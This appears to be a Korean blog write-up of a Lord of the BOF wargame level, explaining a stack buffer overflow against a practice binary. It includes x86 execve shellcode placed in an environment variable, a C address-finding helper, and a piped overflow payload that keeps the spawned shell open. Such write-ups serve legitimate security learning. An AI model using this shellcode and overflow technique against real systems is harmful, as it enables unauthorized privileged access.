728x90
LOB 3 - cobolt write up |
이번 문제는 cobolt이다.
goblin 이 보인다
이번에는 small buffer에 stdin 즉 입력이 추가되었다.
음 그냥 gremlin에서 공격한 방식으로 만든 페이로드를 입력에 넣으면 해결되는거 아닌가?
이 생각이 1차원적으로 들었다.
이렇게 실행하면 입력을 하게되는데 여기 입력에 페이로드를 넣어보려고 한다.
마찬가지로 버퍼의 크기가 작으므로 환경변수를 이용하자.
export shellcode=`python -c 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"'` |
환경변수로 쉘코드가 등록이 되었다.
#include <stdio.h> #include <stdlib.h> int main(){ printf("shellcode : %p\n", getenv("shellcode")); } |
등록한 쉘코드의 시작주소를 알아내자.
아까와 마찬가지로 페이로드를 작성한다.
python -c 'print "\x90"*20+"\x67\xff\xff\xbf"' |
처음에 위의 페이로드를 단순히 입력에 넣었는데, 그냥 세그먼트 폴트가 뜨고 쉘이 안따졌다. 즉 표준입력으로 페이로드를 넣는 방법외에, 다른 방법으로 입력을 주어야하는데, 파이프를 사용해서 그게 가능하다.
(python -c 'print "\x90"*20+"\x67\xff\xff\xbf"';) | ./goblin |
이렇게하면 앞의 명령어에 대한 표준출력이 명령어2의 표준입력이 된다.
하지만 gets 함수의 stdin 때문에, 스택프레임보다 큰 입력을 주게되면 kernel영역을 침범하게되고 비정상적으로 종료되게 된다.
이때 사용할 수 있는것이 cat명령어이다.
(python -c 'print "\x90"*20+"\x67\xff\xff\xbf"';cat) | ./goblin |
cat 명령어에 파일을 지정하지않으면 표준입력을 받고, 그대로 표준출력을 하기때문에 쉘이 종료되지않고
계속해서 입력을 받게하여, 명령어1의 표준출력이 ./gobin의 입력값으로 잘 전달될 수 있게한다.
해결!
728x90
'wargame > LOB' 카테고리의 다른 글
[포너블] LOB 6 - wolfman (0) | 2021.09.30 |
---|---|
[포너블] LOB 5 - orc (0) | 2021.09.30 |
[포너블] LOB 4 - goblin (0) | 2021.09.30 |
[포너블] LOB 2 - gremlin (0) | 2021.09.26 |
[포너블] LOB 1 - gate (0) | 2021.09.26 |
댓글